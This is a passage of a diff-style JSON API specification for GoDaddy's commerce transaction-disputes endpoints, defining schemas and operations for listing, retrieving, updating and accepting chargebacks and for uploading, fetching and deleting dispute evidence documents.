"description": "Indicate whether merchants can respond (upload and submit) to a dispute", + "nullable": true, + "type": "boolean" + }, + "isReviewed": { + "description": "Indicate whether merchants have reviewed WIN/LOST status of a chargeback phase", + "type": "boolean" + }, + "processBy": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "processor": { + "enum": [ + "ELAVON", + "ADYEN" + ], + "type": "string" + }, + "reasonCode": { + "description": "The reason Code of the chargeback", + "type": "string" + }, + "receivedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "refundDetails": { + "description": "A list of refund details of the original transaction", + "items": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/refund-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Refund details of the original transaction", + "properties": { + "amount": { + "description": "The amount associated with the refund transaction", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "isSettled": { + "description": "Indicate whether the refund transaction is settled", + "type": "boolean" + }, + "refundTxnId": { + "description": "Refund transaction Id", + "type": "string" + } + }, + "title": "RefundDetail", + "type": "object" + }, + "type": "array" + }, + "storeId": { + "description": "Unique identifier for store", + "format": "uuid", + "type": "string" + }, + "transactionId": { + "description": "Unique identifier for transaction", + "format": "uuid", + "type": "string" + }, + "txnAmount": { + "description": "The amount associated with the original transaction", + "type": "integer" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "SimpleDispute", + "type": "object" + }, + "type": "array" + }, + "links": { + "description": "An array of link objects providing navigational URLs", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "totalItems": { + "description": "Indicate the total number of items in the full result list. Only be returned when totalRequired is set to true", + "type": "integer" + }, + "totalPages": { + "description": "Indicate the total number of pages of response available. Only be returned when totalRequired is set to true", + "type": "integer" + } + }, + "title": "SimpleDisputeList", + "type": "object" + } + } + }, + "scopes": [ + "commerce.transaction-disputes:read" + ] + }, + { + "operationId": "get_transaction_disputes_disputeId", + "method": "GET", + "path": "/transaction-disputes/{disputeId}", + "summary": "Retrieve dispute details", + "description": "Retrieve the dispute information with disputeId", + "parameters": [ + { + "name": "disputeId", + "in": "path", + "required": true, + "description": "Dispute unique identifier in the format of a URN with 'urn:dsp:' prefix followed by a UUID", + "schema": { + "pattern": "^urn:dsp:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "A dispute", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/simple-dispute.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Dispute details including phase and status information", + "properties": { + "businessId": { + "description": "Unique identifier for business", + "format": "uuid", + "type": "string" + }, + "chargebackAmount": { + "description": "The amount associated with the chargeback", + "type": "integer" + }, + "chargebackControlNumber": { + "description": "External unique identifier for a chargeback", + "type": "string" + }, + "currency": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "customerName": { + "description": "Name of the customer", + "type": "string" + }, + "disputeId": { + "description": "Dispute unique identifier in the format of a URN with 'urn:dsp:' prefix followed by a UUID", + "pattern": "^urn:dsp:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + }, + "disputePhase": { + "$id": "https://godaddy.com/schema/common/dispute-phase.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phase of the dispute. Possible values [First Chargeback, Second Chargeback, Chargeback Reversal, Arbitration, Compliance, Good Faith, Fee, Pre-Arbitration, Pre-Compliance, Pre-Note, Retrieval, Collections, ACH RETURN]", + "title": "Dispute Phase", + "type": "string" + }, + "disputePhaseId": { + "description": "Dispute phase unique identifier in the format of a URN with 'urn:dph:' prefix followed by a UUID", + "pattern": "^urn:dph:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + }, + "disputePhaseStatus": { + "$id": "https://godaddy.com/schema/common/phase-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The status of the dispute phase. Possible values [New, Pending Submission, Submitted to Acquirer, Expired, Accepted, Declined, Fee Acknowledged, Fulfilled Merchant, Fulfilled-Acquirer, Reversed, Return Created]", + "title": "Phase Status", + "type": "string" + }, + "disputeStatus": { + "$id": "https://godaddy.com/schema/common/dispute-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The status of the dispute", + "enum": [ + "NEED_RESPONSE", + "IN_REVIEW", + "LOST", + "WON" + ], + "title": "Dispute Status", + "type": "string" + }, + "distributorId": { + "description": "Unique identifier for distributor", + "format": "uuid", + "type": "string" + }, + "expiresAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "isAccepted": { + "description": "Indicate whether merchants accepted the chargeback", + "type": "boolean" + }, + "isActionable": { + "description": "Indicate whether merchants should take an action", + "nullable": true, + "type": "boolean" + }, + "isRefundSettledIncluded": { + "description": "Indicate whether original transaction has settled refunds", + "type": "boolean" + }, + "isRespondable": { + "description": "Indicate whether merchants can respond (upload and submit) to a dispute", + "nullable": true, + "type": "boolean" + }, + "isReviewed": { + "description": "Indicate whether merchants have reviewed WIN/LOST status of a chargeback phase", + "type": "boolean" + }, + "processBy": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "processor": { + "enum": [ + "ELAVON", + "ADYEN" + ], + "type": "string" + }, + "reasonCode": { + "description": "The reason Code of the chargeback", + "type": "string" + }, + "receivedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "refundDetails": { + "description": "A list of refund details of the original transaction", + "items": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/refund-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Refund details of the original transaction", + "properties": { + "amount": { + "description": "The amount associated with the refund transaction", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "isSettled": { + "description": "Indicate whether the refund transaction is settled", + "type": "boolean" + }, + "refundTxnId": { + "description": "Refund transaction Id", + "type": "string" + } + }, + "title": "RefundDetail", + "type": "object" + }, + "type": "array" + }, + "storeId": { + "description": "Unique identifier for store", + "format": "uuid", + "type": "string" + }, + "transactionId": { + "description": "Unique identifier for transaction", + "format": "uuid", + "type": "string" + }, + "txnAmount": { + "description": "The amount associated with the original transaction", + "type": "integer" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "SimpleDispute", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.transaction-disputes:read" + ] + }, + { + "operationId": "patch_transaction_disputes_disputeId", + "method": "PATCH", + "path": "/transaction-disputes/{disputeId}", + "summary": "Update Dispute", + "description": "Either transactionId related to the dispute can be updated, or isReviewed can be updated", + "parameters": [ + { + "name": "disputeId", + "in": "path", + "required": true, + "description": "Dispute unique identifier in the format of a URN with 'urn:dsp:' prefix followed by a UUID", + "schema": { + "pattern": "^urn:dsp:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/common/patch-request.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An array of JSON patch objects to apply partial updates to resources.", + "items": { + "$id": "https://godaddy.com/schemas/common/patch.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The JSON patch object to apply partial updates to resources.", + "properties": { + "from": { + "description": "The JSON pointer to the target document location from which to move the value. Required for the `move` operation.", + "type": "string" + }, + "op": { + "description": "The operation to complete.", + "enum": [ + "add", + "remove", + "replace", + "move", + "copy", + "test" + ], + "type": "string" + }, + "path": { + "description": "The JSON pointer to the target document location at which to complete the operation.", + "type": "string" + }, + "value": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "integer" + }, + { + "type": "string" + }, + { + "type": "boolean" + }, + { + "items": {}, + "type": "array" + }, + { + "type": "object" + } + ], + "description": "The value to apply. The `remove` operation does not require a value.", + "nullable": true + } + }, + "required": [ + "op" + ], + "title": "Patch", + "type": "object" + }, + "title": "Patch Request", + "type": "array" + } + }, + "responses": { + "204": { + "description": "No Content" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.transaction-disputes:update" + ] + }, + { + "operationId": "post_transaction_disputes_disputeId_accept", + "method": "POST", + "path": "/transaction-disputes/{disputeId}/accept", + "summary": "Accept a chargeback", + "description": "Accept a chargeback when you don't want to fight back", + "parameters": [ + { + "name": "disputeId", + "in": "path", + "required": true, + "description": "Dispute unique identifier in the format of a URN with 'urn:dsp:' prefix followed by a UUID", + "schema": { + "pattern": "^urn:dsp:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "200": { + "description": "Submit status", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/accept-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Accept Status", + "properties": { + "status": { + "description": "Indicate success by returning 'SUCCESS'", + "example": "SUCCESS", + "type": "string" + } + }, + "title": "AcceptResponse", + "type": "object" + } + } + }, + "scopes": [ + "commerce.transaction-disputes:update" + ] + }, + { + "operationId": "get_transaction_disputes_disputeId_documents", + "method": "GET", + "path": "/transaction-disputes/{disputeId}/documents", + "summary": "Retrieve a list of dispute documents", + "description": "Retrieve a list of dispute documents", + "parameters": [ + { + "name": "disputeId", + "in": "path", + "required": true, + "description": "Dispute unique identifier in the format of a URN with 'urn:dsp:' prefix followed by a UUID", + "schema": { + "pattern": "^urn:dsp:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + } + }, + { + "name": "disputeDocumentIds", + "in": "query", + "required": false, + "description": "A list of dispute document unique identifiers", + "schema": { + "type": "string" + } + }, + { + "name": "disputePhase", + "in": "query", + "required": false, + "description": "The current phase of the dispute", + "schema": { + "$id": "https://godaddy.com/schema/common/phase-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The status of the dispute phase. Possible values [New, Pending Submission, Submitted to Acquirer, Expired, Accepted, Declined, Fee Acknowledged, Fulfilled Merchant, Fulfilled-Acquirer, Reversed, Return Created]", + "title": "Phase Status", + "type": "string" + } + }, + { + "name": "deleted", + "in": "query", + "required": false, + "description": "Indicate whether the document is deleted", + "schema": { + "type": "boolean" + } + }, + { + "name": "startTime", + "in": "query", + "required": false, + "description": "Filters for dispute documents that were created after the specified date and time. The date and time should be in RFC 3339 format", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "endTime", + "in": "query", + "required": false, + "description": "Filters for dispute documents that were created before the specified date and time. The date and time should be in RFC 3339 format", + "schema": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "The number of records per page. Default is 10", + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "description": "The page number of the results to retrieve. Default is 1", + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "description": "A boolean that indicates whether the total number of records is required. Default is false", + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "200": { + "description": "Dispute document list with pagination", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/dispute-document-list.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents a collection of dispute document items, each containing key details of individual dispute documents, along with navigation links for pagination or related actions", + "properties": { + "items": { + "description": "An array of dispute document items", + "items": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/simple-dispute-document.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Dispute document details", + "properties": { + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "disputeDocumentId": { + "description": "Dispute Document unique identifier in the format of a URN with 'urn:doc:' prefix followed by a UUID", + "pattern": "^urn:doc:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + }, + "disputeId": { + "description": "Dispute unique identifier in the format of a URN with 'urn:dsp:' prefix followed by a UUID", + "pattern": "^urn:dsp:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + }, + "disputePhase": { + "$id": "https://godaddy.com/schema/common/dispute-phase.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phase of the dispute. Possible values [First Chargeback, Second Chargeback, Chargeback Reversal, Arbitration, Compliance, Good Faith, Fee, Pre-Arbitration, Pre-Compliance, Pre-Note, Retrieval, Collections, ACH RETURN]", + "title": "Dispute Phase", + "type": "string" + }, + "documentDescription": { + "description": "Description of the document", + "type": "string" + }, + "documentType": { + "description": "Type of the document. Possible values include [Drivers License, Tax Return, Passport, Trade, KYC, Other]", + "type": "string" + }, + "filename": { + "description": "The name of the dispute document file", + "type": "string" + }, + "link": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "mimeType": { + "description": "MIME type of the document. Possible values include [application/pdf, image/tiff, image/jpeg]", + "type": "string" + }, + "processor": { + "description": "The processor of the dispute", + "enum": [ + "ELAVON", + "ADYEN" + ], + "type": "string" + }, + "status": { + "description": "Document upload and submit status. Possible value include [Inprogress, SUCCESS, Successfully Uploaded, DOC_SZ_LRG, Scan Failed]. The final successful stage is 'Successfully Uploaded'", + "type": "string" + }, + "submittedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "SimpleDisputeDocument", + "type": "object" + }, + "type": "array" + }, + "links": { + "description": "An array of link objects providing navigational URLs", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "totalItems": { + "description": "Indicate the total number of items in the full result list. Only be returned when totalRequired is set to true", + "type": "integer" + }, + "totalPages": { + "description": "Indicate the total number of pages of response available. Only be returned when totalRequired is set to true", + "type": "integer" + } + }, + "title": "DisputeDocumentList", + "type": "object" + } + } + }, + "scopes": [ + "commerce.transaction-disputes:read" + ] + }, + { + "operationId": "post_transaction_disputes_disputeId_documents", + "method": "POST", + "path": "/transaction-disputes/{disputeId}/documents", + "summary": "Upload evidence", + "description": "When disputing a chargeback, you can upload evidence", + "parameters": [ + { + "name": "disputeId", + "in": "path", + "required": true, + "description": "Dispute unique identifier in the format of a URN with 'urn:dsp:' prefix followed by a UUID", + "schema": { + "pattern": "^urn:dsp:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "contentType": "multipart/form-data", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/document.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Document file and context", + "properties": { + "documentDescription": { + "description": "Description of the document", + "type": "string" + }, + "documentType": { + "description": "Type of the document. Possible values include [Drivers License, Tax Return, Passport, Trade, KYC, Other]", + "type": "string" + }, + "file": { + "description": "Binary file content", + "format": "binary", + "type": "string" + }, + "mimeType": { + "description": "MIME type of the document. Possible values include [application/pdf, image/tiff, image/jpeg]", + "type": "string" + } + }, + "title": "Document", + "type": "object" + } + }, + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "200": { + "description": "Document meta data", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/chargeabck/document-metadata.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Document meta data", + "properties": { + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "documentId": { + "description": "An array of document unique identifiers in the format of a URN with 'urn:doc:' prefix followed by a UUID", + "pattern": "^urn:doc:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + }, + "size": { + "description": "Size of the document in bytes", + "type": "integer" + }, + "url": { + "description": "URL pointing to the document", + "format": "uri", + "type": "string" + } + }, + "title": "DocumentMetaData", + "type": "object" + } + } + }, + "scopes": [ + "commerce.transaction-disputes:create" + ] + }, + { + "operationId": "get_transaction_disputes_disputeId_documents_disputeDocumentId", + "method": "GET", + "path": "/transaction-disputes/{disputeId}/documents/{disputeDocumentId}", + "summary": "Getting an uploaded/submitted dispute document", + "description": "This endpoint allows for retrieving of a document associated with a specific dispute. The document is returned as a file attachment in the response.", + "parameters": [ + { + "name": "disputeId", + "in": "path", + "required": true, + "description": "Dispute unique identifier in the format of a URN with 'urn:dsp:' prefix followed by a UUID", + "schema": { + "pattern": "^urn:dsp:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + } + }, + { + "name": "disputeDocumentId", + "in": "path", + "required": true, + "description": "Dispute Document unique identifier in the format of a URN with 'urn:doc:' prefix followed by a UUID", + "schema": { + "pattern": "^urn:doc:[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Successfully retrieved the document.", + "schema": { + "format": "binary", + "type": "string" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.transaction-disputes:read" + ] + }, + { + "operationId": "delete_transaction_disputes_disputeId_documents_disputeDocumentId", + "method": "DELETE", + "path": "/transaction-disputes/{disputeId}/documents/{disputeDocumentId}", + "summary": "Delete an uploaded document", + "description": "Delete an uploaded document. You cannot delete a submitted document.", + "parameters": [ + { + "name": "disputeId", + "in": "path", + "required": true, + "description": "Dispute unique identifier in the format of a URN with 'urn:dsp:' prefix followed by a UUID", + "schema": { + 